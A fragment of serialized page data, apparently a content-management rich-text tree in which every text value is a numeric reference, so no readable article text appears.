[77534],{"data":77535,"marks":77536,"value":30126,"nodeType":865},{},[77537],{"type":961},{"data":77539,"content":77540,"nodeType":1835},{},[77541],{"data":77542,"content":77543,"nodeType":866},{},[77544],{"data":77545,"marks":77546,"value":31566,"nodeType":865},{},[],{"data":77548,"content":77549,"nodeType":1869},{},[77550,77560],{"data":77551,"content":77552,"nodeType":1835},{},[77553],{"data":77554,"content":77555,"nodeType":866},{},[77556],{"data":77557,"marks":77558,"value":30349,"nodeType":865},{},[77559],{"type":961},{"data":77561,"content":77562,"nodeType":1835},{},[77563],{"data":77564,"content":77565,"nodeType":866},{},[77566],{"data":77567,"marks":77568,"value":31589,"nodeType":865},{},[],{"data":77570,"content":77573,"nodeType":925},{"target":77571},{"sys":77572},{"id":31594,"type":922,"linkType":923},[],{"data":77575,"content":77576,"nodeType":953},{},[],{"data":77578,"content":77579,"nodeType":1458},{},[77580],{"data":77581,"marks":77582,"value":31606,"nodeType":865},{},[77583],{"type":961},{"data":77585,"content":77586,"nodeType":2396},{},[77587,77609],{"data":77588,"content":77589,"nodeType":1869},{},[77590,77600],{"data":77591,"content":77592,"nodeType":1835},{},[77593],{"data":77594,"content":77595,"nodeType":866},{},[77596],{"data":77597,"marks":77598,"value":30074,"nodeType":865},{},[77599],{"type":961},{"data":77601,"content":77602,"nodeType":1835},{},[77603],{"data":77604,"content":77605,"nodeType":866},{},[77606],{"data":77607,"marks":77608,"value":31632,"nodeType":865},{},[],{"data":77610,"content":77611,"nodeType":1869},{},[77612,77622],{"data":77613,"content":77614,"nodeType":1835},{},[77615],{"data":77616,"content":77617,"nodeType":866},{},[77618],{"data":77619,"marks":77620,"value":30126,"nodeType":865},{},[77621],{"type":961},{"data":77623,"content":77624,"nodeType":1835},{},[77625],{"data":77626,"content":77627,"nodeType":866},{},[77628],{"data":77629,"marks":77630,"value":31655,"nodeType":865},{},[],{"data":77632,"content":77635,"nodeType":925},{"target":77633},{"sys":77634},{"id":31660,"type":922,"linkType":923},[],{"data":77637,"content":77638,"nodeType":953},{},[],{"data":77640,"content":77641,"nodeType":1458},{},[77642],{"data":77643,"marks":77644,"value":31672,"nodeType":865},{},[77645],{"type":961},{"data":77647,"content":77648,"nodeType":2396},{},[77649,77677,77713,77735,77757],{"data":77650,"content":77651,"nodeType":1869},{},[77652,77662],{"data":77653,"content":77654,"nodeType":1835},{},[77655],{"data":77656,"content":77657,"nodeType":866},{},[77658],{"data":77659,"marks":77660,"value":29967,"nodeType":865},{},[77661],{"type":961},{"data":77663,"content":77664,"nodeType":1835},{},[77665,77671],{"data":77666,"content":77667,"nodeType":866},{},[77668],{"data":77669,"marks":77670,"value":31698,"nodeType":865},{},[],{"data":77672,"content":77673,"nodeType":866},{},[77674],{"data":77675,"marks":77676,"value":31705,"nodeType":865},{},[],{"data":77678,"content":77679,"nodeType":1869},{},[77680,77690],{"data":77681,"content":77682,"nodeType":1835},{},[77683],{"data":77684,"content":77685,"nodeType":866},{},[77686],{"data":77687,"marks":77688,"value":29991,"nodeType":865},{},[77689],{"type":961},{"data":77691,"content":77692,"nodeType":1835},{},[77693,77703],{"data":77694,"content":77695,"nodeType":866},{},[77696,77700],{"data":77697,"marks":77698,"value":30466,"nodeType":865},{},[77699],{"type":961},{"data":77701,"marks":77702,"value":31732,"nodeType":865},{},[],{"data":77704,"content":77705,"nodeType":866},{},[77706,77710],{"data":77707,"marks":77708,"value":30032,"nodeType":865},{},[77709],{"type":961},{"data":77711,"marks":77712,"value":30289,"nodeType":865},{},[],{"data":77714,"content":77715,"nodeType":1869},{},[77716,77726],{"data":77717,"content":77718,"nodeType":1835},{},[77719],{"data":77720,"content":77721,"nodeType":866},{},[77722],{"data":77723,"marks":77724,"value":30074,"nodeType":865},{},[77725],{"type":961},{"data":77727,"content":77728,"nodeType":1835},{},[77729],{"data":77730,"content":77731,"nodeType":866},{},[77732],{"data":77733,"marks":77734,"value":31765,"nodeType":865},{},[],{"data":77736,"content":77737,"nodeType":1869},{},[77738,77748],{"data":77739,"content":77740,"nodeType":1835},{},[77741],{"data":77742,"content":77743,"nodeType":866},{},[77744],{"data":77745,"marks":77746,"value":30126,"nodeType":865},{},[77747],{"type":961},{"data":77749,"content":77750,"nodeType":1835},{},[77751],{"data":77752,"content":77753,"nodeType":866},{},[77754],{"data":77755,"marks":77756,"value":31788,"nodeType":865},{},[],{"data":77758,"content":77759,"nodeType":1869},{},[77760,77770],{"data":77761,"content":77762,"nodeType":1835},{},[77763],{"data":77764,"content":77765,"nodeType":866},{},[77766],{"data":77767,"marks":77768,"value":30349,"nodeType":865},{},[77769],{"type":961},{"data":77771,"content":77772,"nodeType":1835},{},[77773],{"data":77774,"content":77775,"nodeType":866},{},[77776],{"data":77777,"marks":77778,"value":31811,"nodeType":865},{},[],{"data":77780,"content":77783,"nodeType":925},{"target":77781},{"sys":77782},{"id":10964,"type":922,"linkType":923},[],{"data":77785,"content":77786,"nodeType":953},{},[],{"data":77788,"content":77789,"nodeType":1458},{},[77790],{"data":77791,"marks":77792,"value":31827,"nodeType":865},{},[77793],{"type":961},{"data":77795,"content":77796,"nodeType":2396},{},[77797,77819,77855,77877,77899],{"data":77798,"content":77799,"nodeType":1869},{},[77800,77810],{"data":77801,"content":77802,"nodeType":1835},{},[77803],{"data":77804,"content":77805,"nodeType":866},{},[77806],{"data":77807,"marks":77808,"value":29967,"nodeType":865},{},[77809],{"type":961},{"data":77811,"content":77812,"nodeType":1835},{},[77813],{"data":77814,"content":77815,"nodeType":866},{},[77816],{"data":77817,"marks":77818,"value":31853,"nodeType":865},{},[],{"data":77820,"content":77821,"nodeType":1869},{},[77822,77832],{"data":77823,"content":77824,"nodeType":1835},{},[77825],{"data":77826,"content":77827,"nodeType":866},{},[77828],{"data":77829,"marks":77830,"value":29991,"nodeType":865},{},[77831],{"type":961},{"data":77833,"content":77834,"nodeType":1835},{},[77835,77845],{"data":77836,"content":77837,"nodeType":866},{},[77838,77842],{"data":77839,"marks":77840,"value":30466,"nodeType":865},{},[77841],{"type":961},{"data":77843,"marks":77844,"value":31880,"nodeType":865},{},[],{"data":77846,"content":77847,"nodeType":866},{},[77848,77852],{"data":77849,"marks":77850,"value":30032,"nodeType":865},{},[77851],{"type":961},{"data":77853,"marks":77854,"value":31891,"nodeType":865},{},[],{"data":77856,"content":77857,"nodeType":1869},{},[77858,77868],{"data":77859,"content":77860,"nodeType":1835},{},[77861],{"data":77862,"content":77863,"nodeType":866},{},[77864],{"data":77865,"marks":77866,"value":30074,"nodeType":865},{},[77867],{"type":961},{"data":77869,"content":77870,"nodeType":1835},{},[77871],{"data":77872,"content":77873,"nodeType":866},{},[77874],{"data":77875,"marks":77876,"value":31765,"nodeType":865},{},[],{"data":77878,"content":77879,"nodeType":1869},{},[77880,77890],{"data":77881,"content":77882,"nodeType":1835},{},[77883],{"data":77884,"content":77885,"nodeType":866},{},[77886],{"data":77887,"marks":77888,"value":30126,"nodeType":865},{},[77889],{"type":961},{"data":77891,"content":77892,"nodeType":1835},{},[77893],{"data":77894,"content":77895,"nodeType":866},{},[77896],{"data":77897,"marks":77898,"value":31936,"nodeType":865},{},[],{"data":77900,"content":77901,"nodeType":1869},{},[77902,77912],{"data":77903,"content":77904,"nodeType":1835},{},[77905],{"data":77906,"content":77907,"nodeType":866},{},[77908],{"data":77909,"marks":77910,"value":30349,"nodeType":865},{},[77911],{"type":961},{"data":77913,"content":77914,"nodeType":1835},{},[77915],{"data":77916,"content":77917,"nodeType":866},{},[77918],{"data":77919,"marks":77920,"value":31959,"nodeType":865},{},[],{"data":77922,"content":77925,"nodeType":925},{"target":77923},{"sys":77924},{"id":31964,"type":922,"linkType":923},[],{"data":77927,"content":77928,"nodeType":953},{},[],{"data":77930,"content":77931,"nodeType":963},{},[77932],{"data":77933,"marks":77934,"value":31976,"nodeType":865},{},[77935],{"type":961},{"data":77937,"content":77938,"nodeType":866},{},[77939,77942],{"data":77940,"marks":77941,"value":31983,"nodeType":865},{},[],{"data":77943,"marks":77944,"value":31988,"nodeType":865},{},[77945],{"type":961},{"data":77947,"content":77948,"nodeType":866},{},[77949],{"data":77950,"marks":77951,"value":31995,"nodeType":865},{},[],{"data":77953,"content":77956,"nodeType":925},{"target":77954},{"sys":77955},{"id":32000,"type":922,"linkType":923},[],{"data":77958,"content":77961,"nodeType":925},{"target":77959},{"sys":77960},{"id":32006,"type":922,"linkType":923},[],{"data":77963,"content":77964,"nodeType":866},{},[77965],{"data":77966,"marks":77967,"value":32014,"nodeType":865},{},[],{"data":77969,"content":77970,"nodeType":866},{},[77971,77974,77978,77981],{"data":77972,"marks":77973,"value":32021,"nodeType":865},{},[],{"data":77975,"marks":77976,"value":32026,"nodeType":865},{},[77977],{"type":961},{"data":77979,"marks":77980,"value":32030,"nodeType":865},{},[],{"data":77982,"marks":77983,"value":32035,"nodeType":865},{},[77984],{"type":961},{"data":77986,"content":77987,"nodeType":866},{},[77988,77991,77995],{"data":77989,"marks":77990,"value":32042,"nodeType":865},{},[],{"data":77992,"marks":77993,"value":32047,"nodeType":865},{},[77994],{"type":961},{"data":77996,"marks":77997,"value":32051,"nodeType":865},{},[],{"data":77999,"content":78002,"nodeType":925},{"target":78000},{"sys":78001},{"id":32056,"type":922,"linkType":923},[],{"data":78004,"content":78005,"nodeType":953},{},[],{"data":78007,"content":78008,"nodeType":963},{},[78009],{"data":78010,"marks":78011,"value":32068,"nodeType":865},{},[78012],{"type":961},{"data":78014,"content":78015,"nodeType":1458},{},[78016],{"data":78017,"marks":78018,"value":32076,"nodeType":865},{},[78019],{"type":961},{"data":78021,"content":78022,"nodeType":866},{},[78023,78026,78030,78033],{"data":78024,"marks":78025,"value":32083,"nodeType":865},{},[],{"data":78027,"marks":78028,"value":32088,"nodeType":865},{},[78029],{"type":961},{"data":78031,"marks":78032,"value":32092,"nodeType":865},{},[],{"data":78034,"marks":78035,"value":32097,"nodeType":865},{},[78036],{"type":961},{"data":78038,"content":78039,"nodeType":866},{},[78040,78044,78047,78051],{"data":78041,"marks":78042,"value":32105,"nodeType":865},{},[78043],{"type":961},{"data":78045,"marks":78046,"value":32109,"nodeType":865},{},[],{"data":78048,"marks":78049,"value":32114,"nodeType":865},{},[78050],{"type":961},{"data":78052,"marks":78053,"value":32118,"nodeType":865},{},[],{"data":78055,"content":78058,"nodeType":925},{"target":78056},{"sys":78057},{"id":31052,"type":922,"linkType":923},[],{"data":78060,"content":78061,"nodeType":866},{},[78062],{"data":78063,"marks":78064,"value":32130,"nodeType":865},{},[],{"data":78066,"content":78067,"nodeType":866},{},[78068],{"data":78069,"marks":78070,"value":32137,"nodeType":865},{},[],{"data":78072,"content":78073,"nodeType":1458},{},[78074],{"data":78075,"marks":78076,"value":32145,"nodeType":865},{},[78077],{"type":961},{"data":78079,"content":78080,"nodeType":866},{},[78081],{"data":78082,"marks":78083,"value":32152,"nodeType":865},{},[],{"data":78085,"content":78086,"nodeType":866},{},[78087],{"data":78088,"marks":78089,"value":32159,"nodeType":865},{},[],{"data":78091,"content":78092,"nodeType":866},{},[78093],{"data":78094,"marks":78095,"value":32166,"nodeType":865},{},[],{"data":78097,"content":78098,"nodeType":1458},{},[78099],{"data":78100,"marks":78101,"value":32174,"nodeType":865},{},[78102],{"type":961},{"data":78104,"content":78105,"nodeType":866},{},[78106],{"data":78107,"marks":78108,"value":32181,"nodeType":865},{},[],{"data":78110,"content":78111,"nodeType":1049},{},[78112,78125,78138],{"data":78113,"content":78114,"nodeType":1003},{},[78115],{"data":78116,"content":78117,"nodeType":866},{},[78118,78122],{"data":78119,"marks":78120,"value":32195,"nodeType":865},{},[78121],{"type":961},{"data":78123,"marks":78124,"value":32199,"nodeType":865},{},[],{"data":78126,"content":78127,"nodeType":1003},{},[78128],{"data":78129,"content":78130,"nodeType":866},{},[78131,78135],{"data":78132,"marks":78133,"value":29673,"nodeType":865},{},[78134],{"type":961},{"data":78136,"marks":78137,"value":32213,"nodeType":865},{},[],{"data":78139,"content":78140,"nodeType":1003},{},[78141],{"data":78142,"content":78143,"nodeType":866},{},[78144,78147,78151],{"data":78145,"marks":78146,"value":32223,"nodeType":865},{},[],{"data":78148,"marks":78149,"value":19618,"nodeType":865},{},[78150],{"type":961},{"data":78152,"marks":78153,"value":32231,"nodeType":865},{},[],{"data":78155,"content":78158,"nodeType":925},{"target":78156},{"sys":78157},{"id":32236,"type":922,"linkType":923},[],{"data":78160,"content":78161,"nodeType":953},{},[],{"data":78163,"content":78164,"nodeType":963},{},[78165],{"data":78166,"marks":78167,"value":32248,"nodeType":865},{},[78168],{"type":961},{"data":78170,"content":78171,"nodeType":866},{},[78172],{"data":78173,"marks":78174,"value":32255,"nodeType":865},{},[],{"data":78176,"content":78177,"nodeType":866},{},[78178],{"data":78179,"marks":78180,"value":32262,"nodeType":865},{},[],{"data":78182,"content":78183,"nodeType":866},{},[78184,78187,78194,78197,78201,78204,78208,78211,78215],{"data":78185,"marks":78186,"value":32269,"nodeType":865},{},[],{"data":78188,"content":78189,"nodeType":882},{"uri":32272},[78190],{"data":78191,"marks":78192,"value":32278,"nodeType":865},{},[78193],{"type":997},{"data":78195,"marks":78196,"value":32282,"nodeType":865},{},[],{"data":78198,"marks":78199,"value":32287,"nodeType":865},{},[78200],{"type":961},{"data":78202,"marks":78203,"value":32291,"nodeType":865},{},[],{"data":78205,"marks":78206,"value":32296,"nodeType":865},{},[78207],{"type":961},{"data":78209,"marks":78210,"value":32300,"nodeType":865},{},[],{"data":78212,"marks":78213,"value":32305,"nodeType":865},{},[78214],{"type":961},{"data":78216,"marks":78217,"value":32309,"nodeType":865},{},[],{"data":78219,"content":78222,"nodeType":925},{"target":78220},{"sys":78221},{"id":32314,"type":922,"linkType":923},[],{"data":78224,"content":78225,"nodeType":866},{},[78226],{"data":78227,"marks":78228,"value":32322,"nodeType":865},{},[],{"data":78230,"content":78231,"nodeType":953},{},[],{"data":78233,"content":78234,"nodeType":963},{},[78235],{"data":78236,"marks":78237,"value":32333,"nodeType":865},{},[78238],{"type":961},{"data":78240,"content":78241,"nodeType":866},{},[78242],{"data":78243,"marks":78244,"value":32340,"nodeType":865},{},[],{"data":78246,"content":78247,"nodeType":866},{},[78248],{"data":78249,"marks":78250,"value":32347,"nodeType":865},{},[],{"data":78252,"content":78253,"nodeType":866},{},[78254,78257,78264],{"data":78255,"marks":78256,"value":32354,"nodeType":865},{},[],{"data":78258,"content":78259,"nodeType":882},{"uri":32357},[78260],{"data":78261,"marks":78262,"value":32363,"nodeType":865},{},[78263],{"type":997},{"data":78265,"marks":78266,"value":32367,"nodeType":865},{},[],{"data":78268,"content":78271,"nodeType":925},{"target":78269},{"sys":78270},{"id":32372,"type":922,"linkType":923},[],{"data":78273,"content":78274,"nodeType":866},{},[78275],{"data":78276,"marks":78277,"value":32380,"nodeType":865},{},[],{"data":78279,"content":78280,"nodeType":1458},{},[78281],{"data":78282,"marks":78283,"value":1704,"nodeType":865},{},[78284],{"type":961},{"data":78286,"content":78287,"nodeType":866},{},[78288],{"data":78289,"marks":78290,"value":32394,"nodeType":865},{},[],{"data":78292,"content":78293,"nodeType":866},{},[78294,78297,78304,78307,78314,78317,78324],{"data":78295,"marks":78296,"value":32401,"nodeType":865},{},[],{"data":78298,"content":78299,"nodeType":882},{"uri":22700},[78300],{"data":78301,"marks":78302,"value":22706,"nodeType":865},{},[78303],{"type":997},{"data":78305,"marks":78306,"value":2186,"nodeType":865},{},[],{"data":78308,"content":78309,"nodeType":882},{"uri":22712},[78310],{"data":78311,"marks":78312,"value":32419,"nodeType":865},{},[78313],{"type":997},{"data":78315,"marks":78316,"value":22722,"nodeType":865},{},[],{"data":78318,"content":78319,"nodeType":882},{"uri":1728},[78320],{"data":78321,"marks":78322,"value":22730,"nodeType":865},{},[78323],{"type":997},{"data":78325,"marks":78326,"value":1048,"nodeType":865},{},[],{"items":78328},[78329,78331],{"sys":78330,"name":11426},{"id":11425},{"sys":78332,"name":342},{"id":8410},{"items":78334},[78335],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":78336},{"url":32449},{"__typename":1788,"sys":78338,"content":78339,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":79155,"authorsCollection":79161},{"id":73788},{"json":78340},{"data":78341,"content":78342,"nodeType":1739},{},[78343,78349,78355,78361,78364,78371,78377,78383,78388,78394,78399,78415,78421,78431,78434,78441,78447,78460,78466,78476,78481,78484,78491,78498,78503,78511,78527,78535,78541,78549,78564,78572,78578,78586,78612,78620,78626,78634,78650,78655,78663,78669,78677,78710,78713,78720,78728,78744,78752,78758,78766,78792,78797,78805,78811,78816,78819,78826,78834,78840,78891,78896,78899,78906,78914,78920,78925,78928,78935,78941,78947,79007,79013,79068,79074,79077,79084,79090,79096,79101,79104,79111,79117,79123,79129],{"data":78344,"content":78345,"nodeType":866},{},[78346],{"data":78347,"marks":78348,"value":73799,"nodeType":865},{},[],{"data":78350,"content":78351,"nodeType":866},{},[78352],{"data":78353,"marks":78354,"value":73806,"nodeType":865},{},[],{"data":78356,"content":78357,"nodeType":866},{},[78358],{"data":78359,"marks":78360,"value":73813,"nodeType":865},{},[],{"data":78362,"content":78363,"nodeType":953},{},[],{"data":78365,"content":78366,"nodeType":963},{},[78367],{"data":78368,"marks":78369,"value":73824,"nodeType":865},{},[78370],{"type":961},{"data":78372,"content":78373,"nodeType":866},{},[78374],{"data":78375,"marks":78376,"value":73831,"nodeType":865},{},[],{"data":78378,"content":78379,"nodeType":866},{},[78380],{"data":78381,"marks":78382,"value":73838,"nodeType":865},{},[],{"data":78384,"content":78387,"nodeType":925},{"target":78385},{"sys":78386},{"id":73843,"type":922,"linkType":923},[],{"data":78389,"content":78390,"nodeType":866},{},[78391],{"data":78392,"marks":78393,"value":73851,"nodeType":865},{},[],{"data":78395,"content":78398,"nodeType":925},{"target":78396},{"sys":78397},{"id":73856,"type":922,"linkType":923},[],{"data":78400,"content":78401,"nodeType":866},{},[78402,78405,78412],{"data":78403,"marks":78404,"value":73864,"nodeType":865},{},[],{"data":78406,"content":78407,"nodeType":882},{"uri":39517},[78408],{"data":78409,"marks":78410,"value":73872,"nodeType":865},{},[78411],{"type":997},{"data":78413,"marks":78414,"value":73876,"nodeType":865},{},[],{"data":78416,"content":78417,"nodeType":866},{},[78418],{"data":78419,"marks":78420,"value":73883,"nodeType":865},{},[],{"data":78422,"content":78423,"nodeType":866},{},[78424,78427],{"data":78425,"marks":78426,"value":73890,"nodeType":865},{},[],{"data":78428,"marks":78429,"value":73895,"nodeType":865},{},[78430],{"type":961},{"data":78432,"content":78433,"nodeType":953},{},[],{"data":78435,"content":78436,"nodeType":963},{},[78437],{"data":78438,"marks":78439,"value":73906,"nodeType":865},{},[78440],{"type":961},{"data":78442,"content":78443,"nodeType":866},{},[78444],{"data":78445,"marks":78446,"value":73913,"nodeType":865},{},[],{"data":78448,"content":78449,"nodeType":866},{},[78450,78453,78457],{"data":78451,"marks":78452,"value":73920,"nodeType":865},{},[],{"data":78454,"marks":78455,"value":73925,"nodeType":865},{},[78456],{"type":961},{"data":78458,"marks":78459,"value":73929,"nodeType":865},{},[],{"data":78461,"content":78462,"nodeType":866},{},[78463],{"data":78464,"marks":78465,"value":73936,"nodeType":865},{},[],{"data":78467,"content":78468,"nodeType":866},{},[78469,78472],{"data":78470,"marks":78471,"value":73943,"nodeType":865},{},[],{"data":78473,"marks":78474,"value":73948,"nodeType":865},{},[78475],{"type":961},{"data":78477,"content":78480,"nodeType":925},{"target":78478},{"sys":78479},{"id":73953,"type":922,"linkType":923},[],{"data":78482,"content":78483,"nodeType":953},{},[],{"data":78485,"content":78486,"nodeType":963},{},[78487],{"data":78488,"marks":78489,"value":73965,"nodeType":865},{},[78490],{"type":961},{"data":78492,"content":78493,"nodeType":1458},{},[78494],{"data":78495,"marks":78496,"value":73973,"nodeType":865},{},[78497],{"type":961},{"data":78499,"content":78502,"nodeType":925},{"target":78500},{"sys":78501},{"id":73978,"type":922,"linkType":923},[],{"data":78504,"content":78505,"nodeType":866},{},[78506],{"data":78507,"marks":78508,"value":73988,"nodeType":865},{},[78509,78510],{"type":961},{"type":997},{"data":78512,"content":78513,"nodeType":866},{},[78514,78517,78524],{"data":78515,"marks":78516,"value":73995,"nodeType":865},{},[],{"data":78518,"content":78519,"nodeType":882},{"uri":73998},[78520],{"data":78521,"marks":78522,"value":74004,"nodeType":865},{},[78523],{"type":997},{"data":78525,"marks":78526,"value":74008,"nodeType":865},{},[],{"data":78528,"content":78529,"nodeType":866},{},[78530],{"data":78531,"marks":78532,"value":74017,"nodeType":865},{},[78533,78534],{"type":961},{"type":997},{"data":78536,"content":78537,"nodeType":866},{},[78538],{"data":78539,"marks":78540,"value":74024,"nodeType":865},{},[],{"data":78542,"content":78543,"nodeType":866},{},[78544],{"data":78545,"marks":78546,"value":74033,"nodeType":865},{},[78547,78548],{"type":961},{"type":997},{"data":78550,"content":78551,"nodeType":866},{},[78552,78555,78561],{"data":78553,"marks":78554,"value":74040,"nodeType":865},{},[],{"data":78556,"content":78557,"nodeType":882},{"uri":74043},[78558],{"data":78559,"marks":78560,"value":74048,"nodeType":865},{},[],{"data":78562,"marks":78563,"value":74052,"nodeType":865},{},[],{"data":78565,"content":78566,"nodeType":866},{},[78567],{"data":78568,"marks":78569,"value":74061,"nodeType":865},{},[78570,78571],{"type":961},{"type":997},{"data":78573,"content":78574,"nodeType":866},{},[78575],{"data":78576,"marks":78577,"value":74068,"nodeType":865},{},[],{"data":78579,"content":78580,"nodeType":866},{},[78581],{"data":78582,"marks":78583,"value":74077,"nodeType":865},{},[78584,78585],{"type":961},{"type":997},{"data":78587,"content":78588,"nodeType":866},{},[78589,78592,78599,78602,78609],{"data":78590,"marks":78591,"value":74084,"nodeType":865},{},[],{"data":78593,"content":78594,"nodeType":882},{"uri":3904},[78595],{"data":78596,"marks":78597,"value":74092,"nodeType":865},{},[78598],{"type":997},{"data":78600,"marks":78601,"value":74096,"nodeType":865},{},[],{"data":78603,"content":78604,"nodeType":882},{"uri":74099},[78605],{"data":78606,"marks":78607,"value":10345,"nodeType":865},{},[78608],{"type":997},{"data":78610,"marks":78611,"value":74108,"nodeType":865},{},[],{"data":78613,"content":78614,"nodeType":866},{},[78615],{"data":78616,"marks":78617,"value":74117,"nodeType":865},{},[78618,78619],{"type":961},{"type":997},{"data":78621,"content":78622,"nodeType":866},{},[78623],{"data":78624,"marks":78625,"value":74124,"nodeType":865},{},[],{"data":78627,"content":78628,"nodeType":866},{},[78629],{"data":78630,"marks":78631,"value":74133,"nodeType":865},{},[78632,78633],{"type":961},{"type":997},{"data":78635,"content":78636,"nodeType":866},{},[78637,78640,78647],{"data":78638,"marks":78639,"value":74140,"nodeType":865},{},[],{"data":78641,"content":78642,"nodeType":882},{"uri":74099},[78643],{"data":78644,"marks":78645,"value":10345,"nodeType":865},{},[78646],{"type":997},{"data":78648,"marks":78649,"value":74151,"nodeType":865},{},[],{"data":78651,"content":78654,"nodeType":925},{"target":78652},{"sys":78653},{"id":74156,"type":922,"linkType":923},[],{"data":78656,"content":78657,"nodeType":866},{},[78658],{"data":78659,"marks":78660,"value":74166,"nodeType":865},{},[78661,78662],{"type":961},{"type":997},{"data":78664,"content":78665,"nodeType":866},{},[78666],{"data":78667,"marks":78668,"value":74173,"nodeType":865},{},[],{"data":78670,"content":78671,"nodeType":866},{},[78672],{"data":78673,"marks":78674,"value":74182,"nodeType":865},{},[78675,78676],{"type":961},{"type":997},{"data":78678,"content":78679,"nodeType":866},{},[78680,78683,78689,78692,78698,78701,78707],{"data":78681,"marks":78682,"value":74189,"nodeType":865},{},[],{"data":78684,"content":78685,"nodeType":882},{"uri":74192},[78686],{"data":78687,"marks":78688,"value":74197,"nodeType":865},{},[],{"data":78690,"marks":78691,"value":8756,"nodeType":865},{},[],{"data":78693,"content":78694,"nodeType":882},{"uri":74203},[78695],{"data":78696,"marks":78697,"value":74208,"nodeType":865},{},[],{"data":78699,"marks":78700,"value":74212,"nodeType":865},{},[],{"data":78702,"content":78703,"nodeType":882},{"uri":19454},[78704],{"data":78705,"marks":78706,"value":74219,"nodeType":865},{},[],{"data":78708,"marks":78709,"value":74223,"nodeType":865},{},[],{"data":78711,"content":78712,"nodeType":953},{},[],{"data":78714,"content":78715,"nodeType":1458},{},[78716],{"data":78717,"marks":78718,"value":74234,"nodeType":865},{},[78719],{"type":961},{"data":78721,"content":78722,"nodeType":866},{},[78723],{"data":78724,"marks":78725,"value":74243,"nodeType":865},{},[78726,78727],{"type":961},{"type":997},{"data":78729,"content":78730,"nodeType":866},{},[78731,78734,78741],{"data":78732,"marks":78733,"value":74250,"nodeType":865},{},[],{"data":78735,"content":78736,"nodeType":882},{"uri":74253},[78737],{"data":78738,"marks":78739,"value":74259,"nodeType":865},{},[78740],{"type":997},{"data":78742,"marks":78743,"value":74263,"nodeType":865},{},[],{"data":78745,"content":78746,"nodeType":866},{},[78747],{"data":78748,"marks":78749,"value":74272,"nodeType":865},{},[78750,78751],{"type":961},{"type":997},{"data":78753,"content":78754,"nodeType":866},{},[78755],{"data":78756,"marks":78757,"value":74279,"nodeType":865},{},[],{"data":78759,"content":78760,"nodeType":866},{},[78761],{"data":78762,"marks":78763,"value":74288,"nodeType":865},{},[78764,78765],{"type":961},{"type":997},{"data":78767,"content":78768,"nodeType":866},{},[78769,78772,78779,78782,78789],{"data":78770,"marks":78771,"value":74295,"nodeType":865},{},[],{"data":78773,"content":78774,"nodeType":882},{"uri":74298},[78775],{"data":78776,"marks":78777,"value":74304,"nodeType":865},{},[78778],{"type":997},{"data":78780,"marks":78781,"value":74308,"nodeType":865},{},[],{"data":78783,"content":78784,"nodeType":882},{"uri":74311},[78785],{"data":78786,"marks":78787,"value":74317,"nodeType":865},{},[78788],{"type":997},{"data":78790,"marks":78791,"value":74321,"nodeType":865},{},[],{"data":78793,"content":78796,"nodeType":925},{"target":78794},{"sys":78795},{"id":74326,"type":922,"linkType":923},[],{"data":78798,"content":78799,"nodeType":866},{},[78800],{"data":78801,"marks":78802,"value":74336,"nodeType":865},{},[78803,78804],{"type":961},{"type":997},{"data":78806,"content":78807,"nodeType":866},{},[78808],{"data":78809,"marks":78810,"value":74343,"nodeType":865},{},[],{"data":78812,"content":78815,"nodeType":925},{"target":78813},{"sys":78814},{"id":74348,"type":922,"linkType":923},[],{"data":78817,"content":78818,"nodeType":953},{},[],{"data":78820,"content":78821,"nodeType":1458},{},[78822],{"data":78823,"marks":78824,"value":694,"nodeType":865},{},[78825],{"type":961},{"data":78827,"content":78828,"nodeType":866},{},[78829],{"data":78830,"marks":78831,"value":74368,"nodeType":865},{},[78832,78833],{"type":961},{"type":997},{"data":78835,"content":78836,"nodeType":866},{},[78837],{"data":78838,"marks":78839,"value":74375,"nodeType":865},{},[],{"data":78841,"content":78842,"nodeType":1049},{},[78843,78856,78869],{"data":78844,"content":78845,"nodeType":1003},{},[78846],{"data":78847,"content":78848,"nodeType":866},{},[78849,78853],{"data":78850,"marks":78851,"value":74389,"nodeType":865},{},[78852],{"type":961},{"data":78854,"marks":78855,"value":74393,"nodeType":865},{},[],{"data":78857,"content":78858,"nodeType":1003},{},[78859],{"data":78860,"content":78861,"nodeType":866},{},[78862,78866],{"data":78863,"marks":78864,"value":74404,"nodeType":865},{},[78865],{"type":961},{"data":78867,"marks":78868,"value":74408,"nodeType":865},{},[],{"data":78870,"content":78871,"nodeType":1003},{},[78872],{"data":78873,"content":78874,"nodeType":866},{},[78875,78879,78882,78888],{"data":78876,"marks":78877,"value":74419,"nodeType":865},{},[78878],{"type":961},{"data":78880,"marks":78881,"value":74423,"nodeType":865},{},[],{"data":78883,"content":78884,"nodeType":882},{"uri":64109},[78885],{"data":78886,"marks":78887,"value":74430,"nodeType":865},{},[],{"data":78889,"marks":78890,"value":74434,"nodeType":865},{},[],{"data":78892,"content":78895,"nodeType":925},{"target":78893},{"sys":78894},{"id":74439,"type":922,"linkType":923},[],{"data":78897,"content":78898,"nodeType":953},{},[],{"data":78900,"content":78901,"nodeType":1458},{},[78902],{"data":78903,"marks":78904,"value":699,"nodeType":865},{},[78905],{"type":961},{"data":78907,"content":78908,"nodeType":866},{},[78909],{"data":78910,"marks":78911,"value":74459,"nodeType":865},{},[78912,78913],{"type":961},{"type":997},{"data":78915,"content":78916,"nodeType":866},{},[78917],{"data":78918,"marks":78919,"value":74466,"nodeType":865},{},[],{"data":78921,"content":78924,"nodeType":925},{"target":78922},{"sys":78923},{"id":74471,"type":922,"linkType":923},[],{"data":78926,"content":78927,"nodeType":953},{},[],{"data":78929,"content":78930,"nodeType":963},{},[78931],{"data":78932,"marks":78933,"value":38047,"nodeType":865},{},[78934],{"type":961},{"data":78936,"content":78937,"nodeType":866},{},[78938],{"data":78939,"marks":78940,"value":74489,"nodeType":865},{},[],{"data":78942,"content":78943,"nodeType":866},{},[78944],{"data":78945,"marks":78946,"value":74496,"nodeType":865},{},[],{"data":78948,"content":78949,"nodeType":1049},{},[78950,78969,78988],{"data":78951,"content":78952,"nodeType":1003},{},[78953],{"data":78954,"content":78955,"nodeType":866},{},[78956,78959,78966],{"data":78957,"marks":78958,"value":74509,"nodeType":865},{},[],{"data":78960,"content":78961,"nodeType":882},{"uri":74512},[78962],{"data":78963,"marks":78964,"value":29673,"nodeType":865},{},[78965],{"type":997},{"data":78967,"marks":78968,"value":23156,"nodeType":865},{},[],{"data":78970,"content":78971,"nodeType":1003},{},[78972],{"data":78973,"content":78974,"nodeType":866},{},[78975,78978,78985],{"data":78976,"marks":78977,"value":74530,"nodeType":865},{},[],{"data":78979,"content":78980,"nodeType":882},{"uri":74533},[78981],{"data":78982,"marks":78983,"value":74539,"node